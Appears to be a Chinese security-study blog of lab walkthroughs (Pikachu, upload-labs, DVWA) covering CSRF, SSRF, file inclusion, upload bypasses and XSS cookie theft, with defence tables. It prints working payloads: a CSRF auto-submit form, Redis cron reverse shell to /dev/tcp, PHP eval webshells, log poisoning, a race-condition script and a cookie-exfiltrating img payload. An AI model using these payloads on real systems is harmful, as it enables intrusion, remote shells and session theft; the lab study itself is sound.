Byron

Web Application Security Research & Exploit Development

Environment: PHP 5.2.17 + MySQL 5.7.26
Lab: Pikachu


1.0 CSRF (跨站请求伪造)

01 定义:

CSRF, 攻击者诱导已登录的用户在不知情情况下执行非本意操作, 完成恶意请求

  • 利用 Web 应用的身份验证机制和会话管理机制的固有缺陷:
    • 服务器无法区分请求是用户主动发起, 或用户被动触发
    • 请求携带有效的 Session Cookie, 服务器认为”合法”

02 漏洞成因

  • 浏览器会自动携带目标站点Cookie发起跨站请求, 服务端仅靠Cookie/Session做身份校验, 不能保证请求是否由用户本人主动发起.
  • 常见缺失防御:
    • 未校验 CSRF-Token;
    • 未校验 Referer / Origin 请求头;
    • 关键业务接口无二次身份校验.

03 攻击流程

以下 CSRF 攻击链逻辑图解

04 CSRF 三要素

  • 目标操作: 存在可被请求直接触发的业务接口(修改信息, 转账, 修改密码)
  • 会话依赖Cookie: 浏览器自动带上Cookie, 服务端仅凭Cookie识别用户身份
  • 请求参数可控: 接口请求参数可被攻击者完全预知, 构造, 无随机不可预测的校验 Token

注意: CSRF不能获取 Cookie, 不能读取响应, 只能借用受害者身份执行操作.


1.1 同源策略

01 定义:

同源策略指在 web 浏览器中, 允许某个网页脚本访问另一个网页的数据, 但前提是两个网页必须同源, 不同源的客户端脚本在没有明确授权的情况下, 不能读写对方的资源, 如Cookie, 同源策略 是浏览器安全模型, W3C标准规范

  • web应用程序广泛依赖于Cookie维持会话, 所以必须将不相关网站严格分隔, 防止数据泄露

02 案例

同源策略 需要对比两者域名(host), 端口, 协议, 三者完全相同即同源.

案例: 与http://www.example.com/index/index.php比较

源 是否同源 原因
http://test.example.com/admin/index.php 否 域名不同
https://test.example.com/admin/index.php 否 协议不同
http://test.example.com:8080/admin/index.php 否 端口不同
http://www.example.com/test/index.php 是 同源策略

03 核心

  • 同源策略不会阻止表单, img , script, iframe, link等标签发起跨站请求, 只阻止 JS 读取跨站返回结果, 这正是CSRF 能够生效的底层原理: 浏览器可以跨域发请求, 自动带上 Cookie, 只是 JS 拿不到返回包

2.0 CSRF 实战

以下实战基于Pikachu靶场

原理: 构造完整带参数 URL, 诱导登录用户点击链接即可触发

Case 1: GET型CSRF

01 根据靶场提示, 选取两个用户, 做如下设计

  • vince 作为受害者
  • allen 作为攻击者
  • Chrome 作为受害者浏览器
  • BurpSuite内置浏览器作为攻击者浏览器

02 分别登录vince, allen

03 allen账户选择修改个人信息, BurpSuite抓包

获取到修改用户信息数据包, 并且以GET传递

04 将请求构造成可访问URL

1
http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E7%94%B7&phonenum=18888888888&add=USA&email=123%40123.com&submit=submit

05 使用受害者浏览器访问该URL

成功将vince用户个人信息修改为攻击者构造的信息


Case 2: POST型CSRF

01 初始化靶场

1
http://127.0.0.1/pikachu/install.php

案例设计依旧采用Case 1

02 攻击者账户修改个人信息

  • 获取到数据包

  • 针对数据包构造CSRF_POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="ç&#148;&#183;" />
<input type="hidden" name="phonenum" value="18888888888" />
<input type="hidden" name="add" value="UAS" />
<input type="hidden" name="email" value="123&#64;123&#46;com" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

POST‑CSRF 不需要 JS 跨域, 普通 HTML 表单即可完成跨站 POST 提交, 浏览器自动携带 Cookie, 同源策略不拦截表单提交

03 将POC保存为poc.html, 模拟受害者账户访问

成功将vince用户个人信息修改为攻击者构造的信息


3.0 CSRF 防御

防御 说明 注意点
CSRF‑Token 表单 / 请求携带随机不可预测 Token, 后端校验 Token 不能放在 Cookie 中, 应放在表单隐藏域 / 请求头; 每个会话随机生成
Origin / Referer 校验 判断请求来源域名是否为可信域名 Referer 可被伪造, 部分浏览器 / 代理会丢弃 Referer, 只能作为辅助, 不能当唯一防御
关键操作二次验证 修改密码, 转账等高危操作增加验证码, 密码确认 业务层

Environment: PHP 7.3.4 + MySQL 5.7.26
Lab: Pikachu

1.0 SSRF (服务端请求伪造)

1.1 基础

  • 客户端请求:

    由客户端设备(个人计算机, 手机, 平板电脑) 或软件 (浏览器, 各种APP) 发出的请求, 以获取指定的网页, 图片, 视频或其他资源, 例: 用户在浏览器输入URL或点击链接时, 浏览器会自动发起HTTP请求, 请求服务器返回指定资源.

  • 服务端请求

    服务器应用程序或服务会提供功能接口, 比如API接口, 用于与其他服务进行数据交互, 这些由服务器之间的请求称之为服务端请求.

1.2 什么是SSRF

SSRF(Server-Side Request Forgery, 服务端请求伪造): 服务器在没有对目标地址做有效过滤的情况下, 替攻击者向任意地址发起请求, 攻击者相当于把服务器当成了”跳板机”, 攻击者使用受害者服务器应用程序作为代理, 让请求拥有服务器特征.

SSRF 漏洞核心标准:

  • 请求是否由服务器发起

  • 如何判断请求是否由服务器发起?

    • 有回显: 是否可以探测到内部服务?
    • 无回显: 由访问IP判断

以下 SSRF 攻击链逻辑图解



1.3 漏洞成因

由于服务端提供从其他服务器应用获取数据的功能, 但又未对目标地址做严格过滤与限制, 导致攻击者可以传入任意地址让后端服务器对其发起请求, 并返回请求数据, 例: 从指定URL获取网页文本内容, 加载指定地址的图片, 下载等…



1.4 漏洞危害

  • 窃取数据: 攻击者可伪造请求以访问服务器内部网络或云环境中的其他服务或资源
  • 攻击第三方系统: 攻击者可伪造请求攻击第三方系统, 例: 访问其他组织敏感数据或执行拒绝服务攻击
  • 内部端口扫描: 攻击者可伪造请求扫描服务器内部端口和服务
  • 获取指纹: 通过获取 web 应用收集指纹信息
危害 说明 典型 payload 协议
读服务器本地文件 读 /etc/passwd、win.ini file://
内网端口扫描 / 服务探测 扫存活主机、探测 Redis/MySQL http://、dict://
攻击内网未授权服务 打 Redis 写 webshell → RCE gopher://
云凭据窃取 偷 AWS/阿里云 IAM 临时凭据 http://169.254.169.254

协议就是 SSRF 的武器库: file 读文件、dict 探服务、gopher 发任意 TCP 字节流(万能)


1.5 漏洞场景

SSRF 漏洞一般存在于 Web 应用程序中, 应用程序接收来自用户的输入, 将请求转发至其他服务器, 攻击者在输入中注入恶意URL, 使服务器发起未授权请求, 访问敏感内部资源.

  • 文件上传功能
  • 图片处理功能
  • URL重定向
  • API调用

1.6 常见危险函数

语言 危险函数
PHP curl()、file_get_contents()、fsockopen()、fopen()
Python requests()、urllib()
Java URL.openConnection()、HttpClient()
函数 作用
curl_exec() 执行cURL会话
file_get_contents() 获取整个文件
fsockopen() 打开一个网络连接或者一个Unix套接字连接
协议 作用
file:// 查看文件
dict:// 探测端口
gopher:// 发送任意 TCP 原始字节流
可打 Redis/MySQL/FastCGI 写 webshell, 进而 RCE

1.7 漏洞分类

  • 有回显SSRF: 内网响应直接返回给攻击者
  • 无回显SSRF(Blind): 无回显, 需要 DNSLog / 时间差等侧信道确认和利用

2.0 漏洞利用

2.1 Pass-01-本地编写测试

ssrf1.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function curl($url){
$ch = curl_init();
// 设置URL及选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
// 抓取URL并传递给浏览器
curl_exec($ch);
// 关闭cURL资源, 并释放系统资源
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
  • http请求类(确认漏洞存在)

    通过Payload?url=http://www.baidu.com成功跳转链接

  • 本地文件读取(file)

    1
    2
    ?url=file:///c:/windows/win.ini # Windows
    ?url=file:///etc/passwd # Linux

    成功读取到win.ini内容

  • 探测内网服务(http/dict)

    1
    2
    ?url=http://127.0.0.1:81/            # 访问自己,验证内网可达
    ?url=dict://127.0.0.1:6379/info # 探测 Redis 未授权

    扫描思路: 通过响应差异 / 时间差判断端口是否开放


2.2 靶场实验

  • 端口探测(curl)

    1
    ?url=dict://127.0.0.1:3306

    探测到mysql端口开放

  • 读取本机hosts文件(curl)

    1
    ?url=file:///c:/windows/system32/drivers/etc/hosts

  • 文件读取(file_get_contents)

    1
    ?file=file://c:/windows/system32/drivers/etc/hosts
  • 通过php伪协议读取源码(file_get_contents)

    1
    ?file=php://filter/read=convert.base64-encode/resource=ssrf.php

    解码后与源码一致, 成功读取


2.3 云平台 SSRF 漏洞

  • 云平台服务器从物理层隔绝内网服务, 如何打出危害?

    通过云元数据 [meta data]打出危害.

    01 各云服务商均拥有服务器云元数据地址

    02 通过地址获取元数据密钥等敏感信息


3.0 漏洞利用进阶

3.1 内网应用攻击

01 通过dict:// 协议攻击内网Redis
  • Redis端口若未开启认证, 可导致任意用户利用ssrf漏洞攻击内网未授权Redis, 读取Redis数据
  • 若运行Redis的用户是root, 攻击者可写定时任务进行反弹shell

探测内网服务:

  • Ubuntu作为受害者服务器, 使用包含 SSRF 漏洞的靶场进行dict://

    1
    ?url=dict://10.0.0.10:6379/info


02 写定时任务
  1. 定时任务通过crond完成, 是linux的定时执行工具, 不同系统定时任务目录如下:

    系统 目录
    CentOS /var/spool/cron/
    Ubuntu /var/spool/cron/crontabs/
  2. 可根据服务器存在的文件判断服务器信息

    系统 文件
    CentOS /etc/os-release
    Ubuntu /etc/lsb-release
  3. 使用攻击主机监听一个端口, 用来接收受害主机执行定时任务的反弹shell

    • 攻击机和目标机必须在同一环境:
      • 本地靶场 → 本地kali攻击机
      • 公网服务器目标 → 公网服务器攻击机
    1
    nc -lvnp 1234

    开启监听…

  4. 在存在漏洞的网站依次执行如下指令:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    # 清空数据库(慎用)
    dict://10.0.0.10:6379/flushall
    # 设置工作目录
    dict://10.0.0.10:6379/config set dir /var/spool/cron/crontabs/
    # 设置保存的文件名
    dict://10.0.0.10:6379/config set dbfilename root
    # 设置变量x, 若在本地kali监听, 下方ip需修改为kali
    dict://10.0.0.10:6379/set x "\n\n*/1 * * * * bash -i &> /dev/tcp/10.0.0.20/1234 0>&1\n\n"
    # 这里 \n 越多越好(防止换行失败导致反弹shell失败)
    # 保存
    dict://10.0.0.10:6379/save

03 SSH公钥写入

SSH 密钥对, 一把公钥, 一把私钥, 公钥存放在 SSH 服务器, 私钥个人保存

  • 公钥登录: public key 认证

  • 原理:

    1. 用户将公钥存储在远程服务器

    2. 登录时远程服务器向用户发送一段随机字符串

    3. 私钥加密字符串, 发送给远程主机

    4. 远程主机使用公钥解密, 解密成功 → 登录

    public key 认证图解

漏洞原理:

  • Redis 服务未授权可以写入文件
  • 将公钥写入服务器即可实现免密登录


04 gopher协议攻击内网应用

gopher可发送各种格式的请求包, 攻击内网FTP, Telnet, Redis, Memcache, 也可以进行GET, POST请求, 还可以攻击内网未授权MySQL

gopher 协议默认端口70, 所以需要指定web端口, 且需要指定方法, 数据需要进行URL, 回车换行使用%0d %0a

基本协议格式:

1
URL:gopher://<host>:<port>/<gopher-path>TCP数据流

gopherus 运用

在 SSRF 易受攻击的站点上生成 gopher 负载以利用 SSRF 并获得 RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
# 查看工具帮助以及受支持的攻击类型
uv run gopherus.py -h
# 攻击redis
uv run gopherus.py --exploit redis
# [1] ReverseShell - 反弹 Shell 到攻击机
# [2] PHPShell - 写入 PHP WebShell
# 1. 配置监听地址 100.100.103.85(redis服务器地址)
# 2. 配置 Crontab 目录
# 3. 自动生成利用链接 gopher://xxx...[相当于简化版定时任务]
# 4. 攻击机开启监听
nc -lvp 1234
# 5. 将利用链接URL 编码至SSRF漏洞中
# 6. RCE

4.0 绕过

绕过类型 案例
302跳转 sudo.cc服务, 访问服务时, 自动重定向到127.0.0.1
@绕过 xx@host==host, 只解析@之后的内容
IP进制编码 127.0.0.1==0x7f.0x0.0x0.0x1(Hex)…
特殊数字 如: 1②7.0.0.1
中文句号 。代替.
0省略 127.0.0.1==127.1
特殊0 在Windows中0代表0.0.0.0 ; Linux中0代表127.0.0.1

以上绕过现代系统大多数均已修复, 仅作了解


5.0 防御

防御措施 防什么
协议白名单(只放 http/https) file/dict/gopher
解析后校验 IP(禁私网/回环/链路本地) 直连内网
禁用 CURLOPT_FOLLOWLOCATION 302 跳转绕过
CURLOPT_RESOLVE 锁定 IP DNS Rebinding(关键)
出口防火墙 / 网络隔离 纵深兜底

Environment: PHP Apache

Lab: Local Scripts


1.0 文件包含

1.1文件包含漏洞分类

  • 本地文件包含漏洞(LFI): 包含服务器本地的文件

  • 远程文件包含漏洞(RFI): 包含远程服务器上的文件

    • 触发前提: (php.ini):
      • allow_url_fopen = On(默认On, 影响fopen类函数)
      • allow_url_include = On(默认Off, RFI的关键前提)
  • 常见触发函数

    函数 描述
    include() 包含并执行文件; 失败时产生Warning, 脚本继续执行
    include_once() 同include(), 但同一文件只包含一次
    require() 包含并执行文件; 失败时产生Fatal Error, 脚本终止
    require_once() 同require(),但同一文件只包含一次
  • 漏洞本质: include/require的参数可被用户控制且未做有效过滤


1.2 文件包含漏洞发现及其利用

  • 目录穿越:

    • ../
    • ….//(双写)
  • 本地文件包含漏洞利用

    01 配合文件上传使用, 找不到文件上传漏洞时, 无法上传WebShell, 可先上传图片格式WebShell到服务器, 再利用本地文件包含漏洞进行解析

    02 包含Apache日志文件: 网站存在文件包含漏洞, 但无文件上传点, 这时可利用Apache日志文件生成一句话木马

    • 利用条件:
      • 日志文件可读权限
      • 日志文件存储路径已知

    1.2.1 日志文件漏洞利用案例:

    注意: 需要开启Apache日志记录功能

    • httpd.conf → CustomLog “logs/access.log” common

    • 为什么用 Burp? 浏览器会把 < > 空格 URL 编码, 编码文本进日志后无法构成 <?php 标签

      Burp可控制原始字节, 且请求行即使返回 400, 也会被写进日志(利用点)

    • common格式只记请求行, 毒化点放在 URL; 若想毒化 UA/Referer, 需combined格式

    如下图, 使用BurpSuite抓包修改注入一句话木马

    1
    <?php @eval($_POST['cmd']); ?>

    拦截数据包修改请求


    如图, 日志中成功注入一句话木马


    通过已知日志文件路径访问并获得WebShell

1.3 PHP伪协议

1.3.1 概述:

  • PHP伪协议即 Stream Wrappers(流封装器), 是PHP的统一I/O抽象层, 让同一套文件函数(include/fopen/file_get_contents...)能操作文件, 网络, 压缩包, 内存等不同数据源。

  • 漏洞本质:

    1
    2
    3
    用户可控的"路径"进入文件函数
    + 攻击者用协议切换"文件"的语义
    = 读(源码/配置) or 执行(包含/反序列化)
  • PHP支持的伪协议:

    协议 作用
    php:// 访问I/O流
    phar:// PHP归档
    file:// 本地文件系统
    zip:// ZIP归档
    data:// 内联数据(RFC 2397)
  • php://

    • php://filter 元封装器, 读源码首选, 无任何配置前提
    • php://input 请求体原始只读流, 配合 include 把 POST 体当代码执行
    php://filter 参数 描述
    resource=<数据流> 必选, 指定要筛选过滤的数据流
    read=<读链过滤器> 可选, 读链过滤器, 管道符`
    write=<写链过滤器> 可选, 写链过滤器
    <无前缀过滤器链> 任何没有以 read= / write= 作为前缀的过滤器列表会视情况应用于读链或写链
    字符串过滤器 作用
    string.rot13 等同于str_rot13(), rot13变换
    string.toupper 等同于strtoupper(), 转大写字母
    string.tolower 等同于strtolower(), 转小写字母
    转换过滤器 作用
    convert.base64-encode &
    convert.base64-decode
    等同于base64_encode() &
    base64_decode(), base64编码和解码
    convert.quoted-printable-encode &
    convert.quoted-printable-decode
    quoted-printable 字符串与8-bit字符串编码和解码

    重点:

    • 为什么要Base64?
      • 防止源码被PHP引擎执行, 原样输出后再本地解码
    • 不只对include()有效, 对file_get_contents()/readfile()/fopen()同样生效

1.3.2 案例:

  • Case 1: php://filter源码读取

    content.php

    1
    2
    3
    4
    5
    <?php
    $file = $_GET['file'];
    $content = file_get_contents($file);
    echo $content;
    ?>

    user.php

    1
    2
    3
    4
    <?php
    $username = "admin";
    $password = "123456";
    ?>

    利用伪协议读取源码

    通过php://filter成功读取到经过base64编码的源代码, 再通过解码器解码获得源码

    • 读取型函数下 base64 的额外价值:
      • 绕路径过滤/WAF关键词
      • 源码直接回显时<?php ..?> 会被浏览器当作XML处理指令吞掉, 页面空白base64保证可见

  • Case 2: php://input代码执行

    原理: 可以访问请求的原始数据只读流, 将post请求的数据当作php代码执行

    前提: allow_url_include=On(默认 Off)

    • Payload

      1
      2
      3
      <?php
      file_put_contents('shell.php', '<?php @eval($_POST[cmd]); ?>');
      ?>

      写入一个文件shell.php ,文件内容为一句话木马

    抓包修改GET请求为POST类型, 并在请求体写入Payload

    通过shell.php成功getshell !


1.4 修复防范

  • 数据输入验证

    • 对用户提交的文件路径参数进行严格的格式检查和白名单策略, 只允许包含预定义的, 安全的文件路径
    • 禁止包含绝对路径, 转而使用相对路径, 并且确保相对路径不会超出预期的目录范围
  • 禁用危险函数或配置

    • 如果不是必须, 尽量避免使用容易导致文件包含漏洞的函数, 如PHP中的allow_url_include配置项应设为Off以禁用远程文件包含
    • 在php.ini配置文件中, 可以设置open_basedir限制PHP脚本只能访问指定目录及其子目录下的文件
  • 使用安全函数

    • 使用更安全的函数替代易出问题的文件包含函数, 例如在PHP中, 可以使用readfile()配合自定义的文件路径处理逻辑来代替include()
  • 错误处理与日志记录

    • 正确处理文件包含失败的情况, 不要暴露过多的错误信息, 以免给攻击者提供有用的信息
    • 记录详细的日志, 以便在发生异常时追溯分析问题

Environment: PHP Apache

Lab: upload-labs


1.0 文件上传基础

01 文件上传漏洞是什么?

文件上传漏洞是指攻击者上传了一个可执行的文件到服务器并成功执行, 从而获取服务器权限的漏洞. 其本质是服务端未对上传文件进行充分校验, 导致恶意文件(如 WebShell)被当作合法文件存储并解析执行.

02 攻击链

03 项目搭建

项目 说明
靶场地址 https://github.com/c0ny1/upload-labs
推荐环境 phpstudy(Windows)/ Docker
PHP版本 5.2 ~ 5.6(部分关卡需要低版本)
Web服务器 Apache(.htaccess相关关卡需要)
工具 Burp Suite, HxD(十六进制编辑器), 蚁剑/冰蝎

04 一句话木马

1
2
3
<?php
@eval($_POST['cmd']);
?>

2.0 upload-labs实战

2.1 前端JS校验绕过(Pass-01)

01 原理

  • 服务端未做任何校验, 仅通过前端JavaScript的 onsubmit事件检查文件后缀. 由于JS运行在客户端, 攻击者可完全控制.

02 绕过方式

方法 操作
方法1 浏览器设置中禁用 JavaScript
方法2 先上传合法图片,Burp 抓包改后缀为 .php

上图展示关闭浏览器JS校验

如上图, BurpSuite抓包后修改文件后缀为.php即可

03 获取shell(示例工具为蚁剑)

如图, 已成功获取webshell !


2.2 MIME类型校验绕过(Pass-02)

01 原理

  • 服务端检查 HTTP 请求中的 Content-Type 字段, 判断文件是否为图片类型. 该字段由客户端控制, 可任意伪造.

  • 常见 MIME 类型:

    后缀 Content-Type
    .jpg image/jpeg
    .png image/png
    .gif image/gif
    .php application/x-php

02 绕过方式

Burp 抓包 → 将 Content-Type: application/x-php 改为 image/png

如上图, 修改抓包数据, 即可实现上传绕过

结论: MIME 类型由客户端声明, 不可作为安全校验依据


2.3.1 黑名单绕过 - 非常规后缀(等价扩展名)(Pass-03)

01 原理:

  • 服务端维护一个”禁止上传的后缀列表”(黑名单)
    如果文件后缀不在列表中则允许上传
    绕过思路: 找到一个不在黑名单中, 但服务器仍会解析为 PHP 的后缀或变形

黑名单缺陷:

  • 黑名单永远无法穷举所有危险后缀, 只要遗漏一个,就可能被绕过

02 绕过方式

注意: 需要将Apache配置文件httpd.conf 修改以下参数

1
AddType application/x-httpd-php .php .phtml .php3

修改后重启Apache服务

如上图, 修改后缀为.php3 Forward后, 用蚁剑测试图片链接

2.3.2 黑名单绕过 - 大小写绕过(Pass-06)

01 原理

  • 黑名单中只写了小写 .php, 但 Windows 文件系统不区分大小写
  • Windows系统中, 对文件名后缀大小写不敏感, 例: .php = .PhP
  • Linux系统中, 对文件名后缀大小写敏感, .php ≠ .PhP通常被认定为两个文件

02 绕过方式

BurpSuite 抓包, 将对应字段的.php修改为带大写字母即可

如上图, 修改后缀为.Php Forward后, 用蚁剑测试图片链接

2.3.3 黑名单绕过 - 后缀空格绕过(Pass-07)

01 原理

  • 黑名单检查时未对后缀做 trim() 处理, 但 Windows 文件系统会自动去除文件名末尾的空格

02 绕过方式

BurpSuite 抓包, 将文件名改为 demo.php (此处实际存在空格)

如上图, 修改后缀为.php[空格] Forward后, 用蚁剑测试图片链接

2.3.4 黑名单绕过 - 后缀点绕过(Pass-08)

01 原理

  • 与空格类似, Windows 文件系统会自动去除文件名末尾的点号

02 绕过方式

文件名改为 demo.php.

修改后缀为.php. Forward后, 用蚁剑测试图片链接

2.3.5 黑名单绕过 - ::$DATA绕过(Pass-09)

01 原理

  • Windows NTFS 文件系统的数据流特性, 在文件名后附加 ::$DATA, Windows 会将其视为默认数据流, 实际创建的文件名不包含 ::$DATA 部分

02 绕过方式

文件名改为demo.php::$DATA

仅限Windows+NTFS文件系统

修改后缀为.php::$DATA Forward后, 用蚁剑测试图片链接(URL需去掉::$DATA)

2.3.6 黑名单绕过 - 点空格点绕过(Pass-10)

01 原理

  • 黑名单检查后缀时, 取最后一个 . 后的内容, 构造 demo.php. .(点+空格+点), 经过 trim() 和 deldot() 处理后, 最终后缀变为 .php., 但黑名单检查时可能已经通过

02 绕过方式

文件名改为demo.php. .

后缀变化 .php. . →.php.

2.3.7 黑名单绕过 - 双写绕过(Pass-11)

01 原理

  • 服务端使用 str_ireplace() 将黑名单后缀替换为空字符串, 但只替换一次, 不做递归

02 绕过方式

文件名改为demo.pphphp


2.4 .htaccess文件绕过(Pass-04)

01 原理

  • Apache 支持目录级配置文件 .htaccess如果能上传一个 .htaccess 文件到上传目录, 就可以让该目录下的所有文件都被 PHP 引擎解析

前提条件

  • Apache服务器

  • httpd.conf文件中 AllowOverride All

  • 上传目录可写

    类型 httpd-conf .htaccess
    作用范围 整个服务器 当前目录
    优先级 较低 较高
    生效方式 重启服务器 修改即生效
    • .htaccess
    1
    AddType application/x-httpd-php .txt .jpg

02 绕过方式

  • 上传 .htaccess文件

  • 上传Script文件 .jpg或.txt(与.htaccess对应)

依次上传.htaccess → demo.jpg(包含php代码)


2.5 .user.ini文件绕过(Pass-05)

01 原理

  • PHP 支持目录级配置文件 .user.ini, 其中 auto_prepend_file 指令可以让每个 PHP 文件执行前
    自动包含指定文件
类型 php.ini .user.ini
描述 存储整个php环境生效配置 特定用户或目录的配置文件
位置 php安装目录 Web应用程序根目录
作用 php环境配置 覆盖或追加全局配置文件

02 绕过方式

  • 编写.user.ini文件

    1
    2
    auto_prepend_file=test.txt
    # 在所有文件中都包含test.txt中文件内容
  • 编写test.txt文件

    1
    2
    3
    4
    <?php
    @eval($_POST['cmd']);
    echo "test";
    ?>
  • 依次上传.user.ini test.txt

  • 访问/upload-labs/readme.php

文件被成功包含, 且蚁剑可连接


2.6.1 图片马绕过-文件头绕过(Pass-14)

01 原理

  • 服务端只检查文件头的几个字节, 不检查文件完整内容

  • 常见文件头:

    格式 文件头(Hex)
    JPEG FF D8 FF E0
    PNG 89 50 4E 47
    GIF 47 49 46 38

02 绕过方式

  • 将demo.php十六进制编码前两位改为PNG格式89 50

  • 上传文件绕过验证

  • 通过文件包含方式访问

    demo.php写入以下内容, 并通过010Editor(工具) 修改Hex

    1
    2
    3
    4
    5
    // aa占位, 修改Hex参数预留
    aa
    <?php
    @eval($_POST['cmd']);
    ?>

2.6.2 图片马绕过-getimagesize()(Pass-15)

01 原理

  • getimagesize() 比简单的文件头检查更严格, 它会尝试解析图片的完整结构, 但对于 GIF 格式
    只需在文件开头加上 GIF89a 即可骗过

02-1 绕过方式 1

  • 修改文件头, 使用文件包含访问

02-2 绕过方式 2

  • 使用现有.png和.php结合生成新的.png文件, 通过文件包含方式访问

    1
    copy 1.png/b+demo.php shell.png

成功连接Shell

02-3 绕过方式 3

  • 源.png图尾部直接添加一句话木马脚本

2.6.3 图片马绕过-二次渲染(Pass-17)

01 原理

  • 服务端使用 GD 库或 ImageMagick 对上传的图片进行重新渲染(如缩放, 裁剪), 渲染过程会破坏嵌入的 PHP 代码

02 绕过方式

思路:

  • 上传一张正常图片

  • 下载服务端渲染后的图片

  • 对比渲染前后的差异, 找到未被修改的字节区域

  • 将 PHP 代码嵌入到这些”安全区域”中

  • 重新上传

  • 插件手工绕过使用.gif类型文件


2.7 条件竞争(Pass-18)

01 原理

  • 在上传和删除之间存在极短的时间窗口, 若攻击者在这个时间差内访问到文件, 就能够执行恶意代码

  • 利用条件: 恶意文件被执行一次即可 (如写入1个WebShell)

02 绕过方式

  • test.php测试脚本写入以下内容

    1
    2
    3
    4
    5
    <?php
    $shell = '<?php @eval($_POST["cmd"]); ?>';
    file_put_contents(dirname(__FILE__) . '/shell.php', $shell);
    echo "Shell created";
    ?>

    思路: 上传test.php文件, 文件被先保存后删除, 在这个’’时间窗口” 内写入新文件shell.php

  • 接收端Python脚本access.py

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    import requests
    import threading
    import time

    BASE = "http://127.0.0.1:81/upload-labs/upload"
    found = False #全局标志, 找到shell即停
    def trigger():
    # 不断访问 test.php 触发php执行
    global found
    while not found:
    try:
    requests.get(f"{BASE}/test.php", timeout=2)
    except:
    pass
    def check():
    # 不断检测shell.php 是否存在
    global found
    while not found:
    try:
    r = requests.get(f"{BASE}/shell.php", timeout=2)
    if r.status_code == 200:
    found = True
    print(f"\n[+] shell OK!")
    print(f"[+]link:{BASE}/shell.php")
    print(f"[+]password: cmd")
    return
    except:
    pass
    time.sleep(0.05)
    if __name__ == "__main__":
    print("[*] 先启动BurpSuite-Intruder, 按回车开始..")
    input()

    for _ in range(5): # 5个触发线程
    threading.Thread(target=trigger, daemon=True).start()
    check() # 主线程负责检测
  • 绕过流程

    • 启动靶场
    • 选择test.php
    • BurpSuite抓包拦截
    • 拦截数据定向至Intruder
      • Payload type: Null payloads
      • Payload configuration: Continue indefinitely
      • Start attack
    • 启动access.py

Environment: PHP 7.3.4 + MySQL 5.7.26

Lab: DVWA


1.0 Cookie劫持

1.1 基础部分

01 什么是Cookie?

用户在浏览器中输入账号密码登录网站后, 接下来的每次请求, 服务器如何知道 “ 这个请求是刚才登录的那个用户发来的 “ ? 通过Cookie

  • 自动携带: 浏览器每次向同一域名发送请求时, 会自动附带上该域名下的所有 Cookie
  • 键值对结构: Cookie: name=value; name2=value2
  • 作用范围: 由 Domain 和 Path 属性控制
  • 有效期: 由 Expires 或 Max-Age 决定, 若不设置则为“会话 Cookie”, 关闭浏览器即失效

攻击者关心的三个安全属性:

属性 作用 攻击视角
HttpOnly 禁止 JavaScript 读取 开启后 document.cookie 读不到, 无法窃取 Cookie, 但仍可做钓鱼, CSRF
Secure 仅通过 HTTPS 传输 未设此属性时, HTTP 连接可被中间人窃听
SameSite 控制跨站请求是否携带 Cookie Strict 最严, Lax 允许 GET 跨站携带, None 全放行

02 什么是Session?

Session 是保存在服务器端的用户会话数据. 它的工作流程:

  1. 用户登录成功 → 服务器创建一个 Session, 并生成唯一的 Session ID
  2. 服务器把 Session ID 通过 Set-Cookie 头发给浏览器
  3. 浏览器保存这个 Cookie, 后续每次请求自动带回
  4. 服务器根据请求中的 Session ID, 查找对应的 Session 数据, 识别用户身份

Session 与 Cookie 的关系:

概念 存储位置 相当于
Session 服务器端 保险柜, 存放用户的所有会话数据
Cookie(中的 Session ID) 浏览器端 保险柜的钥匙,证明你就是你
Session 劫持 拿到钥匙 攻击者窃取 Cookie 后, 用钥匙打开受害者的保险柜

攻击者视角核心认知: Session 数据本身不会被窃取(它在服务器里), 但只要拿到 Cookie 里的 Session ID, 就能冒充受害者.

03 Cookie劫持核心:

如果攻击者通过 XSS 漏洞获取了受害者的 Cookie, 就等于拿到了受害者的 “临时身份证” 攻击者可以将这个 Cookie 写入自己的浏览器, 完全以受害者的身份登录网站, 无需知道用户名和密码.


1.2 Cookie窃取实战

01 环境准备:

  • Windows-DVWA靶场
    • Level-Low
  • Kali 攻击机
    • IP: 10.0.0.201

02 攻击步骤梳理:

  • 确认XSS漏洞存在
  • 编写Cookie窃取Payload
  • 攻击机启动HTTP服务器
  • Payload注入
  • 模拟受害者访问
  • Cookie会话劫持

以下实操附截图:

  • 漏洞确认

    如上图, 选择存储型XSS并构造Payload提交

    成功弹窗, 证明漏洞存在

    同时数据库成功写入一条记录

  • Payload构造

    1
    <img src=x onerror="new Image().src='http://10.0.0.201:8000/?cookie='+document.cookie">
  • Kali启动HTTP服务

    1
    python3 -m http.server 8000

    进入监听…

  • Payload注入

    • 如下图, 在注入内容时, 网站可能会做限制, 调用开发者工具修改对应属性

    修改 maxlength=”500” 并提交

    数据库成功写入记录

  • 受害者访问

    • 新开页面登录靶场
  • Cookie劫持成功

    如上图, 受害者访问后, 服务成功获取用户的cookie数据, 若要登录该账户, 只需做以下操作

    • 调用开发者工具 → Application → Storage(Cookies) → 替换PHPSESSID的Value

    成功执行后刷新页面

1.3 防御建议

  1. 对输出进行 HTML 实体编码, 防止 XSS 注入
  2. Cookie 设置 HttpOnly 属性, 禁止 JavaScript 读取
  3. Cookie 设置 Secure 属性, 仅 HTTPS 传输
  4. Cookie 设置 SameSite=Lax 或 Strict, 限制跨站携带
  5. 对用户输入长度做后端校验, 不依赖前端限制

以上防御措施可从根本阻断 XSS 注入, Cookie 窃取及会话劫持攻击链

Environment: PHP 7.3.4 + MySQL 5.7.26

Lab: xss-labs


1.0 概述

1.1 XSS 跨站脚本攻击 (Cross-Site Scripting)

